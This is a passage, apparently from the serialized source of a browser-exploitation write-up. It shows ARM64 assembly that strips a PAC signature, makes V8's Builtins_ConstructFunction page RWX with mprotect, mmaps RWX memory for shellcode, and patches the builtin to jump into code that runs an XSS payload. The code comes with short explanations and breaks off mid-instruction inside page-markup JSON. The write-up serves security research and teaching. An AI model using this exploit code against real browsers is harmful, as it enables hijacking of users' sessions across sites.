#32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[151964],{"type":25,"tag":264,"props":151965,"children":151966},{"__ignoreMap":7},[151967,151975,151983,151991,151999,152006,152014,152022,152030,152038,152045,152053,152061,152069,152077,152085,152092,152100,152108,152116,152124,152132,152140,152147,152155,152162,152170,152178,152186,152193,152201,152209,152217,152225,152232,152239,152246,152253,152261,152269,152277,152284,152292,152300,152307,152315,152323,152331,152338,152346,152354,152362,152370,152377,152384,152392],{"type":25,"tag":271,"props":151968,"children":151969},{"class":13593,"line":13594},[151970],{"type":25,"tag":271,"props":151971,"children":151972},{},[151973],{"type":30,"value":151974},"// get return addr to x0\n",{"type":25,"tag":271,"props":151976,"children":151977},{"class":13593,"line":11641},[151978],{"type":25,"tag":271,"props":151979,"children":151980},{},[151981],{"type":30,"value":151982},"ldr x0, [sp, #0x18]\n",{"type":25,"tag":271,"props":151984,"children":151985},{"class":13593,"line":14354},[151986],{"type":25,"tag":271,"props":151987,"children":151988},{},[151989],{"type":30,"value":151990},"// strip pac signature from return address\n",{"type":25,"tag":271,"props":151992,"children":151993},{"class":13593,"line":14391},[151994],{"type":25,"tag":271,"props":151995,"children":151996},{},[151997],{"type":30,"value":151998},".arch armv8.3-a; xpaci x0\n",{"type":25,"tag":271,"props":152000,"children":152001},{"class":13593,"line":14400},[152002],{"type":25,"tag":271,"props":152003,"children":152004},{"emptyLinePlaceholder":18},[152005],{"type":30,"value":16829},{"type":25,"tag":271,"props":152007,"children":152008},{"class":13593,"line":16406},[152009],{"type":25,"tag":271,"props":152010,"children":152011},{},[152012],{"type":30,"value":152013},"// store x5 = Builtins_ConstructFunction\n",{"type":25,"tag":271,"props":152015,"children":152016},{"class":13593,"line":16434},[152017],{"type":25,"tag":271,"props":152018,"children":152019},{},[152020],{"type":30,"value":152021},"movz x1, #0x610c\n",{"type":25,"tag":271,"props":152023,"children":152024},{"class":13593,"line":16447},[152025],{"type":25,"tag":271,"props":152026,"children":152027},{},[152028],{"type":30,"value":152029},"sub x0, x0, x1\n",{"type":25,"tag":271,"props":152031,"children":152032},{"class":13593,"line":16465},[152033],{"type":25,"tag":271,"props":152034,"children":152035},{},[152036],{"type":30,"value":152037},"mov x5, x0\n",{"type":25,"tag":271,"props":152039,"children":152040},{"class":13593,"line":16486},[152041],{"type":25,"tag":271,"props":152042,"children":152043},{"emptyLinePlaceholder":18},[152044],{"type":30,"value":16829},{"type":25,"tag":271,"props":152046,"children":152047},{"class":13593,"line":16495},[152048],{"type":25,"tag":271,"props":152049,"children":152050},{},[152051],{"type":30,"value":152052},"// store x4 = page aligned ConstructFunction\n",{"type":25,"tag":271,"props":152054,"children":152055},{"class":13593,"line":16744},[152056],{"type":25,"tag":271,"props":152057,"children":152058},{},[152059],{"type":30,"value":152060},"movz x1, #0xf000\n",{"type":25,"tag":271,"props":152062,"children":152063},{"class":13593,"line":16761},[152064],{"type":25,"tag":271,"props":152065,"children":152066},{},[152067],{"type":30,"value":152068},"movk x1, #0xffff, lsl #16\n",{"type":25,"tag":271,"props":152070,"children":152071},{"class":13593,"line":16778},[152072],{"type":25,"tag":271,"props":152073,"children":152074},{},[152075],{"type":30,"value":152076},"movk x1, #0xffff, lsl #32\n",{"type":25,"tag":271,"props":152078,"children":152079},{"class":13593,"line":16791},[152080],{"type":25,"tag":271,"props":152081,"children":152082},{},[152083],{"type":30,"value":152084},"and x4, x5, x1\n",{"type":25,"tag":271,"props":152086,"children":152087},{"class":13593,"line":16800},[152088],{"type":25,"tag":271,"props":152089,"children":152090},{"emptyLinePlaceholder":18},[152091],{"type":30,"value":16829},{"type":25,"tag":271,"props":152093,"children":152094},{"class":13593,"line":16823},[152095],{"type":25,"tag":271,"props":152096,"children":152097},{},[152098],{"type":30,"value":152099},"// mprotect page aligned ConstructFunction RWX\n",{"type":25,"tag":271,"props":152101,"children":152102},{"class":13593,"line":16832},[152103],{"type":25,"tag":271,"props":152104,"children":152105},{},[152106],{"type":30,"value":152107},"mov x0, x4\n",{"type":25,"tag":271,"props":152109,"children":152110},{"class":13593,"line":16841},[152111],{"type":25,"tag":271,"props":152112,"children":152113},{},[152114],{"type":30,"value":152115},"mov x1, #0x2000\n",{"type":25,"tag":271,"props":152117,"children":152118},{"class":13593,"line":16907},[152119],{"type":25,"tag":271,"props":152120,"children":152121},{},[152122],{"type":30,"value":152123},"mov x2, #0x7\n",{"type":25,"tag":271,"props":152125,"children":152126},{"class":13593,"line":16915},[152127],{"type":25,"tag":271,"props":152128,"children":152129},{},[152130],{"type":30,"value":152131},"mov x8, #226\n",{"type":25,"tag":271,"props":152133,"children":152134},{"class":13593,"line":16945},[152135],{"type":25,"tag":271,"props":152136,"children":152137},{},[152138],{"type":30,"value":152139},"svc #0\n",{"type":25,"tag":271,"props":152141,"children":152142},{"class":13593,"line":16953},[152143],{"type":25,"tag":271,"props":152144,"children":152145},{"emptyLinePlaceholder":18},[152146],{"type":30,"value":16829},{"type":25,"tag":271,"props":152148,"children":152149},{"class":13593,"line":16984},[152150],{"type":25,"tag":271,"props":152151,"children":152152},{},[152153],{"type":30,"value":152154},"mov x6, x5\n",{"type":25,"tag":271,"props":152156,"children":152157},{"class":13593,"line":16992},[152158],{"type":25,"tag":271,"props":152159,"children":152160},{"emptyLinePlaceholder":18},[152161],{"type":30,"value":16829},{"type":25,"tag":271,"props":152163,"children":152164},{"class":13593,"line":17052},[152165],{"type":25,"tag":271,"props":152166,"children":152167},{},[152168],{"type":30,"value":152169},"// mmap RWX for jump dest (uxss_sc)\n",{"type":25,"tag":271,"props":152171,"children":152172},{"class":13593,"line":22168},[152173],{"type":25,"tag":271,"props":152174,"children":152175},{},[152176],{"type":30,"value":152177},"mov x0, #0\n",{"type":25,"tag":271,"props":152179,"children":152180},{"class":13593,"line":22186},[152181],{"type":25,"tag":271,"props":152182,"children":152183},{},[152184],{"type":30,"value":152185},"mov x1, #0x1000\n",{"type":25,"tag":271,"props":152187,"children":152188},{"class":13593,"line":22231},[152189],{"type":25,"tag":271,"props":152190,"children":152191},{},[152192],{"type":30,"value":152123},{"type":25,"tag":271,"props":152194,"children":152195},{"class":13593,"line":22337},[152196],{"type":25,"tag":271,"props":152197,"children":152198},{},[152199],{"type":30,"value":152200},"mov x3, #34\n",{"type":25,"tag":271,"props":152202,"children":152203},{"class":13593,"line":36608},[152204],{"type":25,"tag":271,"props":152205,"children":152206},{},[152207],{"type":30,"value":152208},"mov x4, #-1\n",{"type":25,"tag":271,"props":152210,"children":152211},{"class":13593,"line":36643},[152212],{"type":25,"tag":271,"props":152213,"children":152214},{},[152215],{"type":30,"value":152216},"mov x5, #0\n",{"type":25,"tag":271,"props":152218,"children":152219},{"class":13593,"line":36651},[152220],{"type":25,"tag":271,"props":152221,"children":152222},{},[152223],{"type":30,"value":152224},"mov x8, #222\n",{"type":25,"tag":271,"props":152226,"children":152227},{"class":13593,"line":36659},[152228],{"type":25,"tag":271,"props":152229,"children":152230},{},[152231],{"type":30,"value":152139},{"type":25,"tag":271,"props":152233,"children":152234},{"class":13593,"line":36668},[152235],{"type":25,"tag":271,"props":152236,"children":152237},{"emptyLinePlaceholder":18},[152238],{"type":30,"value":16829},{"type":25,"tag":271,"props":152240,"children":152241},{"class":13593,"line":36710},[152242],{"type":25,"tag":271,"props":152243,"children":152244},{},[152245],{"type":30,"value":152037},{"type":25,"tag":271,"props":152247,"children":152248},{"class":13593,"line":36743},[152249],{"type":25,"tag":271,"props":152250,"children":152251},{"emptyLinePlaceholder":18},[152252],{"type":30,"value":16829},{"type":25,"tag":271,"props":152254,"children":152255},{"class":13593,"line":36751},[152256],{"type":25,"tag":271,"props":152257,"children":152258},{},[152259],{"type":30,"value":152260},"// at this point:\n",{"type":25,"tag":271,"props":152262,"children":152263},{"class":13593,"line":36759},[152264],{"type":25,"tag":271,"props":152265,"children":152266},{},[152267],{"type":30,"value":152268},"// x6 = Builtins_ConstructFunction\n",{"type":25,"tag":271,"props":152270,"children":152271},{"class":13593,"line":36768},[152272],{"type":25,"tag":271,"props":152273,"children":152274},{},[152275],{"type":30,"value":152276},"// x5 = mmap page for uxss_sc\n",{"type":25,"tag":271,"props":152278,"children":152279},{"class":13593,"line":36844},[152280],{"type":25,"tag":271,"props":152281,"children":152282},{"emptyLinePlaceholder":18},[152283],{"type":30,"value":16829},{"type":25,"tag":271,"props":152285,"children":152286},{"class":13593,"line":36877},[152287],{"type":25,"tag":271,"props":152288,"children":152289},{},[152290],{"type":30,"value":152291},"// write uxss_sc to mmaped rwx page\n",{"type":25,"tag":271,"props":152293,"children":152294},{"class":13593,"line":36885},[152295],{"type":25,"tag":271,"props":152296,"children":152297},{},[152298],{"type":30,"value":152299},"{write_sc(uxss_sc, \"x5\")}\n",{"type":25,"tag":271,"props":152301,"children":152302},{"class":13593,"line":36893},[152303],{"type":25,"tag":271,"props":152304,"children":152305},{"emptyLinePlaceholder":18},[152306],{"type":30,"value":16829},{"type":25,"tag":271,"props":152308,"children":152309},{"class":13593,"line":36930},[152310],{"type":25,"tag":271,"props":152311,"children":152312},{},[152313],{"type":30,"value":152314},"// wipe from cache\n",{"type":25,"tag":271,"props":152316,"children":152317},{"class":13593,"line":36943},[152318],{"type":25,"tag":271,"props":152319,"children":152320},{},[152321],{"type":30,"value":152322},"mov x0, x5\n",{"type":25,"tag":271,"props":152324,"children":152325},{"class":13593,"line":36956},[152326],{"type":25,"tag":271,"props":152327,"children":152328},{},[152329],{"type":30,"value":152330},"{WIPE_CACHE}\n",{"type":25,"tag":271,"props":152332,"children":152333},{"class":13593,"line":36969},[152334],{"type":25,"tag":271,"props":152335,"children":152336},{"emptyLinePlaceholder":18},[152337],{"type":30,"value":16829},{"type":25,"tag":271,"props":152339,"children":152340},{"class":13593,"line":37023},[152341],{"type":25,"tag":271,"props":152342,"children":152343},{},[152344],{"type":30,"value":152345},"// patch Builtins_ConstructFunction\n",{"type":25,"tag":271,"props":152347,"children":152348},{"class":13593,"line":37032},[152349],{"type":25,"tag":271,"props":152350,"children":152351},{},[152352],{"type":30,"value":152353},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":25,"tag":271,"props":152355,"children":152356},{"class":13593,"line":45393},[152357],{"type":25,"tag":271,"props":152358,"children":152359},{},[152360],{"type":30,"value":152361},"// and add a pointer to uxss_sc just above new instructions\n",{"type":25,"tag":271,"props":152363,"children":152364},{"class":13593,"line":45414},[152365],{"type":25,"tag":271,"props":152366,"children":152367},{},[152368],{"type":30,"value":152369},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":25,"tag":271,"props":152371,"children":152372},{"class":13593,"line":94064},[152373],{"type":25,"tag":271,"props":152374,"children":152375},{"emptyLinePlaceholder":18},[152376],{"type":30,"value":16829},{"type":25,"tag":271,"props":152378,"children":152379},{"class":13593,"line":94077},[152380],{"type":25,"tag":271,"props":152381,"children":152382},{},[152383],{"type":30,"value":152314},{"type":25,"tag":271,"props":152385,"children":152386},{"class":13593,"line":94085},[152387],{"type":25,"tag":271,"props":152388,"children":152389},{},[152390],{"type":30,"value":152391},"mov x0, x6\n",{"type":25,"tag":271,"props":152393,"children":152394},{"class":13593,"line":94093},[152395],{"type":25,"tag":271,"props":152396,"children":152397},{},[152398],{"type":30,"value":152330},{"type":25,"tag":26,"props":152400,"children":152401},{},[152402,152404,152410,152412,152417,152419,152425],{"type":30,"value":152403},"In the snippet above, ",{"type":25,"tag":264,"props":152405,"children":152407},{"className":152406},[],[152408],{"type":30,"value":152409},"new_compile_instrs",{"type":30,"value":152411}," refers to the instructions written to the beginning of ",{"type":25,"tag":264,"props":152413,"children":152415},{"className":152414},[],[152416],{"type":30,"value":151908},{"type":30,"value":152418}," that invoke the ",{"type":25,"tag":264,"props":152420,"children":152422},{"className":152421},[],[152423],{"type":30,"value":152424},"uxss_sc",{"type":30,"value":152426}," mmap-ed shellcode:",{"type":25,"tag":7764,"props":152428,"children":152430},{"code":152429,"language":151961,"meta":7,"className":151962,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[152431],{"type":25,"tag":264,"props":152432,"children":152433},{"__ignoreMap":7},[152434,152442,152449,152457,152465,152472,152480,152488,152495,152503,152511,152518,152526],{"type":25,"tag":271,"props":152435,"children":152436},{"class":13593,"line":13594},[152437],{"type":25,"tag":271,"props":152438,"children":152439},{},[152440],{"type":30,"value":152441},"bti c\n",{"type":25,"tag":271,"props":152443,"children":152444},{"class":13593,"line":11641},[152445],{"type":25,"tag":271,"props":152446,"children":152447},{"emptyLinePlaceholder":18},[152448],{"type":30,"value":16829},{"type":25,"tag":271,"props":152450,"children":152451},{"class":13593,"line":14354},[152452],{"type":25,"tag":271,"props":152453,"children":152454},{},[152455],{"type":30,"value":152456},"// store registers that will be overwritten\n",{"type":25,"tag":271,"props":152458,"children":152459},{"class":13593,"line":14391},[152460],{"type":25,"tag":271,"props":152461,"children":152462},{},[152463],{"type":30,"value":152464},"stp x15, lr, [sp, #-16]!\n",{"type":25,"tag":271,"props":152466,"children":152467},{"class":13593,"line":14400},[152468],{"type":25,"tag":271,"props":152469,"children":152470},{"emptyLinePlaceholder":18},[152471],{"type":30,"value":16829},{"type":25,"tag":271,"props":152473,"children":152474},{"class":13593,"line":16406},[152475],{"type":25,"tag":271,"props":152476,"children":152477},{},[152478],{"type":30,"value":152479},"// get current rip into x15\n",{"type":25,"tag":271,"props":152481,"children":152482},{"class":13593,"line":16434},[152483],{"type":25,"tag":271,"props":152484,"children":152485},{},[152486],{"type":30,"value":152487},"adr x15, .\n",{"type":25,"tag":271,"props":152489,"children":152490},{"class":13593,"line":16447},[152491],{"type":25,"tag":271,"props":152492,"children":152493},{"emptyLinePlaceholder":18},[152494],{"type":30,"value":16829},{"type":25,"tag":271,"props":152496,"children":152497},{"class":13593,"line":16465},[152498],{"type":25,"tag":271,"props":152499,"children":152500},{},[152501],{"type":30,"value":152502},"// load the uxss_sc pointer saved just above new instructions\n",{"type":25,"tag":271,"props":152504,"children":152505},{"class":13593,"line":16486},[152506],{"type":25,"tag":271,"props":152507,"children":152508},{},[152509],{"type":30,"value":152510},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":25,"tag":271,"props":152512,"children":152513},{"class":13593,"line":16495},[152514],{"type":25,"tag":271,"props":152515,"children":152516},{"emptyLinePlaceholder":18},[152517],{"type":30,"value":16829},{"type":25,"tag":271,"props":152519,"children":152520},{"class":13593,"line":16744},[152521],{"type":25,"tag":271,"props":152522,"children":152523},{},[152524],{"type":30,"value":152525},"// jump to uxss_sc\n",{"type":25,"tag":271,"props":152527,"children":152528},{"class":13593,"line":16761},[152529],{"type":25,"tag":271,"props":152530,"children":152531},{},[152532],{"type":30,"value":152533},"blr x15\n",{"type":25,"tag":26,"props":152535,"children":152536},{},[152537,152542,152544,152549],{"type":25,"tag":264,"props":152538,"children":152540},{"className":152539},[],[152541],{"type":30,"value":152424},{"type":30,"value":152543}," is the mmap-ed shellcode invoked by the patched ",{"type":25,"tag":264,"props":152545,"children":152547},{"className":152546},[],[152548],{"type":30,"value":151908},{"type":30,"value":152550}," to execute our XSS payload. Its prologue looks like this:",{"type":25,"tag":7764,"props":152552,"children":152554},{"code":152553,"language":151961,"meta":7,"className":151962,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[152555],{"type":25,"tag":264,"props":152556,"children":152557},{"__ignoreMap":7},[152558,152565,152572,152580,152588,152596,152604,152612,152620,152628,152636,152644,152652,152660,152668,152676,152684,152692,152700],{"type":25,"tag":271,"props":152559,"children":152560},{"class":13593,"line":13594},[152561],{"type":25,"tag":271,"props":152562,"children":152563},{},[152564],{"type":30,"value":152441},{"type":25,"tag":271,"props":152566,"children":152567},{"class":13593,"line":11641},[152568],{"type":25,"tag":271,"props":152569,"children":152570},{"emptyLinePlaceholder":18},[152571],{"type":30,"value":16829},{"type":25,"tag":271,"props":152573,"children":152574},{"class":13593,"line":14354},[152575],{"type":25,"tag":271,"props":152576,"children":152577},{},[152578],{"type":30,"value":152579},"// Save full register context\n",{"type":25,"tag":271,"props":152581,"children":152582},{"class":13593,"line":14391},[152583],{"type":25,"tag":271,"props":152584,"children":152585},{},[152586],{"type":30,"value":152587},"stp x0,  x1,  [sp, #-16]!\n",{"type":25,"tag":271,"props":152589,"children":152590},{"class":13593,"line":14400},[152591],{"type":25,"tag":271,"props":152592,"children":152593},{},[152594],{"type":30,"value":152595},"stp x2,  x3,  [sp, #-16]!\n",{"type":25,"tag":271,"props":152597,"children":152598},{"class":13593,"line":16406},[152599],{"type":25,"tag":271,"props":152600,"children":152601},{},[152602],{"type":30,"value":152603},"stp x4,  x5,  [sp, #-16]!\n",{"type":25,"tag":271,"props":152605,"children":152606},{"class":13593,"line":16434},[152607],{"type":25,"tag":271,"props":152608,"children":152609},{},[152610],{"type":30,"value":152611},"stp x6,  x7,  [sp, #-16]!\n",{"type":25,"tag":271,"props":152613,"children":152614},{"class":13593,"line":16447},[152615],{"type":25,"tag":271,"props":152616,"children":152617},{},[152618],{"type":30,"value":152619},"stp x8,  x9,  [sp, #-16]!\n",{"type":25,"tag":271,"props":152621,"children":152622},{"class":13593,"line":16465},[152623],{"type":25,"tag":271,"props":152624,"children":152625},{},[152626],{"type":30,"value":152627},"stp x10, x11, [sp, #-16]!\n",{"type":25,"tag":271,"props":152629,"children":152630},{"class":13593,"line":16486},[152631],{"type":25,"tag":271,"props":152632,"children":152633},{},[152634],{"type":30,"value":152635},"stp x12, x13, [sp, #-16]!\n",{"type":25,"tag":271,"props":152637,"children":152638},{"class":13593,"line":16495},[152639],{"type":25,"tag":271,"props":152640,"children":152641},{},[152642],{"type":30,"value":152643},"stp x14, x15, [sp, #-16]!\n",{"type":25,"tag":271,"props":152645,"children":152646},{"class":13593,"line":16744},[152647],{"type":25,"tag":271,"props":152648,"children":152649},{},[152650],{"type":30,"value":152651},"stp x16, x17, [sp, #-16]!\n",{"type":25,"tag":271,"props":152653,"children":152654},{"class":13593,"line":16761},[152655],{"type":25,"tag":271,"props":152656,"children":152657},{},[152658],{"type":30,"value":152659},"stp x18, x19, [sp, #-16]!\n",{"type":25,"tag":271,"props":152661,"children":152662},{"class":13593,"line":16778},[152663],{"type":25,"tag":271,"props":152664,"children":152665},{},[152666],{"type":30,"value":152667},"stp x20, x21, [sp, #-16]!\n",{"type":25,"tag":271,"props":152669,"children":152670},{"class":13593,"line":16791},[152671],{"type":25,"tag":271,"props":152672,"children":152673},{},[152674],{"type":30,"value":152675},"stp x22, x23, [sp, #-16]!\n",{"type":25,"tag":271,"props":152677,"children":152678},{"class":13593,"line":16800},[152679],{"type":25,"tag":271,"props":152680,"children":152681},{},[152682],{"type":30,"value":152683},"stp x24, x25, [sp, #-16]!\n",{"type":25,"tag":271,"props":152685,"children":152686},{"class":13593,"line":16823},[152687],{"type":25,"tag":271,"props":152688,"children":152689},{},[152690],{"type":30,"value":152691},"stp x26, x27, [sp, #-16]!\n",{"type":25,"tag":271,"props":152693,"children":152694},{"class":13593,"line":16832},[152695],{"type":25,"tag":271,"props":152696,"children":152697},{},[152698],{"type":30,"value":152699},"stp x28, x29, [sp, #-16]!\n",{"type":25,"tag":271,"props":152701,"children":152702},{"class":13593,"line":16841},[152703],{"type":25,"tag":271,"props":152704,"children":152705},{},[152706],{"type":30,"value":152707},"str lr, [sp, #-16]!\n",{"type":25,"tag":26,"props":152709,"children":152710},{},[152711],{"type":30,"value":152712},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":25,"tag":26,"props":152714,"children":152715},{},[152716,152718,152723],{"type":30,"value":152717},"The epilogue restores all saved registers, restores the original instructions in ",{"type":25,"tag":264,"props":152719,"children":152721},{"className":152720},[],[152722],{"type":30,"value":151908},{"type":30,"value":152724},", and then returns execution to its beginning:",{"type":25,"tag":7764,"props":152726,"children":152728},{"code":152727,"language":151961,"meta":7,"className":151962,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[152729],{"type":25,"tag":264,"props":152730,"children":152731},{"__ignoreMap":7},[152732,152740,152748,152756,152764,152772,152779,152786,152794,152801,152808,152816,152824,152832,152840,152848,152856,152864,152872,152880,152888,152896,152904,152912,152920,152928,152936,152943,152951,152959,152967,152975,152983,152990,152998,153006,153013],{"type":25,"tag":271,"props":152733,"children":152734},{"class":13593,"line":13594},[152735],{"type":25,"tag":271,"props":152736,"children":152737},{},[152738],{"type":30,"value":152739},"// restore original instructions of Builtins_ConstructFunction\n",{"type":25,"tag":271,"props":152741,"children":152742},{"class":13593,"line":11641},[152743],{"type":25,"tag":271,"props":152744,"children":152745},{},[152746],{"type":30,"value":152747},"ldr lr, [sp], #16\n",{"type":25,"tag":271,"props":152749,"children":152750},{"class":13593,"line":14354},[152751],{"type":25,"tag":271,"props":152752,"children":152753},{},[152754],{"type":30,"value":152755},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":25,"tag":271,"props":152757,"children":152758},{"class":13593,"line":14391},[152759],{"type":25,"tag":271,"props":152760,"children":152761},{},[152762],{"type":30,"value":152763},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":25,"tag":271,"props":152765,"children":152766},{"class":13593,"line":14400},[152767],{"type":25,"tag":271,"props":152768,"children":152769},{},[152770],{"type":30,"value":152771},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":25,"tag":271,"props":152773,"children":152774},{"class":13593,"line":16406},[152775],{"type":25,"tag":271,"props":152776,"children":152777},{"emptyLinePlaceholder":18},[152778],{"type":30,"value":16829},{"type":25,"tag":271,"props":152780,"children":152781},{"class":13593,"line":16434},[152782],{"type":25,"tag":271,"props":152783,"children":152784},{},[152785],{"type":30,"value":152314},{"type":25,"tag":271,"props":152787,"children":152788},{"class":13593,"line":16447},[152789],{"type":25,"tag":271,"props":152790,"children":152791},{},[152792],{"type":30,"value":152793},"mov x0, lr\n",{"type":25,"tag":271,"props":152795,"children":152796},{"class":13593,"line":16465},[152797],{"type":25,"tag":271,"props":152798,"children":152799},{},[152800],{"type":30,"value":152330},{"type":25,"tag":271,"props":152802,"children":152803},{"class":13593,"line":16486},[152804],{"type":25,"tag":271,"props":152805,"children":152806},{"emptyLinePlaceholder":18},[152807],{"type":30,"value":16829},{"type":25,"tag":271,"props":152809,"children":152810},{"class":13593,"line":16495},[152811],{"type":25,"tag":271,"props":152812,"children":152813},{},[152814],{"type":30,"value":152815},"// restore original registers\n",{"type":25,"tag":271,"props":152817,"children":152818},{"class":13593,"line":16744},[152819],{"type":25,"tag":271,"props":152820,"children":152821},{},[152822],{"type":30,"value":152823},"ldp x28, x29, [sp], #16\n",{"type":25,"tag":271,"props":152825,"children":152826},{"class":13593,"line":16761},[152827],{"type":25,"tag":271,"props":152828,"children":152829},{},[152830],{"type":30,"value":152831},"ldp x26, x27, [sp], #16\n",{"type":25,"tag":271,"props":152833,"children":152834},{"class":13593,"line":16778},[152835],{"type":25,"tag":271,"props":152836,"children":152837},{},[152838],{"type":30,"value":152839},"ldp x24, x25, [sp], #16\n",{"type":25,"tag":271,"props":152841,"children":152842},{"class":13593,"line":16791},[152843],{"type":25,"tag":271,"props":152844,"children":152845},{},[152846],{"type":30,"value":152847},"ldp x22, x23, [sp], #16\n",{"type":25,"tag":271,"props":152849,"children":152850},{"class":13593,"line":16800},[152851],{"type":25,"tag":271,"props":152852,"children":152853},{},[152854],{"type":30,"value":152855},"ldp x20, x21, [sp], #16\n",{"type":25,"tag":271,"props":152857,"children":152858},{"class":13593,"line":16823},[152859],{"type":25,"tag":271,"props":152860,"children":152861},{},[152862],{"type":30,"value":152863},"ldp x18, x19, [sp], #16\n",{"type":25,"tag":271,"props":152865,"children":152866},{"class":13593,"line":16832},[152867],{"type":25,"tag":271,"props":152868,"children":152869},{},[152870],{"type":30,"value":152871},"ldp x16, x17, [sp], #16\n",{"type":25,"tag":271,"props":152873,"children":152874},{"class":13593,"line":16841},[152875],{"type":25,"tag":271,"props":152876,"children":152877},{},[152878],{"type":30,"value":152879},"ldp x14, x15, [sp], #16\n",{"type":25,"tag":271,"props":152881,"children":152882},{"class":13593,"line":16907},[152883],{"type":25,"tag":271,"props":152884,"children":152885},{},[152886],{"type":30,"value":152887},"ldp x12, x13, [sp], #16\n",{"type":25,"tag":271,"props":152889,"children":152890},{"class":13593,"line":16915},[152891],{"type":25,"tag":271,"props":152892,"children":152893},{},[152894],{"type":30,"value":152895},"ldp x10, x11, [sp], #16\n",{"type":25,"tag":271,"props":152897,"children":152898},{"class":13593,"line":16945},[152899],{"type":25,"tag":271,"props":152900,"children":152901},{},[152902],{"type":30,"value":152903},"ldp x8,  x9,  [sp], #16\n",{"type":25,"tag":271,"props":152905,"children":152906},{"class":13593,"line":16953},[152907],{"type":25,"tag":271,"props":152908,"children":152909},{},[152910],{"type":30,"value":152911},"ldp x6,  x7,  [sp], #16\n",{"type":25,"tag":271,"props":152913,"children":152914},{"class":13593,"line":16984},[152915],{"type":25,"tag":271,"props":152916,"children":152917},{},[152918],{"type":30,"value":152919},"ldp x4,  x5,  [sp], #16\n",{"type":25,"tag":271,"props":152921,"children":152922},{"class":13593,"line":16992},[152923],{"type":25,"tag":271,"props":152924,"children":152925},{},[152926],{"type":30,"value":152927},"ldp x2,  x3,  [sp], #16\n",{"type":25,"tag":271,"props":152929,"children":152930},{"class":13593,"line":17052},[152931],{"type":25,"tag":271,"props":152932,"children":152933},{},[152934],{"type":30,"value":152935},"ldp x0,  x1,  [sp], #16\n",{"type":25,"tag":271,"props":152937,"children":152938},{"class":13593,"line":22168},[152939],{"type":25,"tag":271,"props":152940,"children":152941},{"emptyLinePlaceholder":18},[152942],{"type":30,"value":16829},{"type":25,"tag":271,"props":152944,"children":152945},{"class":13593,"line":22186},[152946],{"type":25,"tag":271,"props":152947,"children":152948},{},[152949],{"type":30,"value":152950},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":25,"tag":271,"props":152952,"children":152953},{"class":13593,"line":22231},[152954],{"type":25,"tag":271,"props":152955,"children":152956},{},[152957],{"type":30,"value":152958},"// it immediately, so we can clobber and use it as a return register.\n",{"type":25,"tag":271,"props":152960,"children":152961},{"class":13593,"line":22337},[152962],{"type":25,"tag":271,"props":152963,"children":152964},{},[152965],{"type":30,"value":152966},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":25,"tag":271,"props":152968,"children":152969},{"class":13593,"line":36608},[152970],{"type":25,"tag":271,"props":152971,"children":152972},{},[152973],{"type":30,"value":152974},"// where to return\n",{"type":25,"tag":271,"props":152976,"children":152977},{"class":13593,"line":36643},[152978],{"type":25,"tag":271,"props":152979,"children":152980},{},[152981],{"type":30,"value":152982},"mov x4, 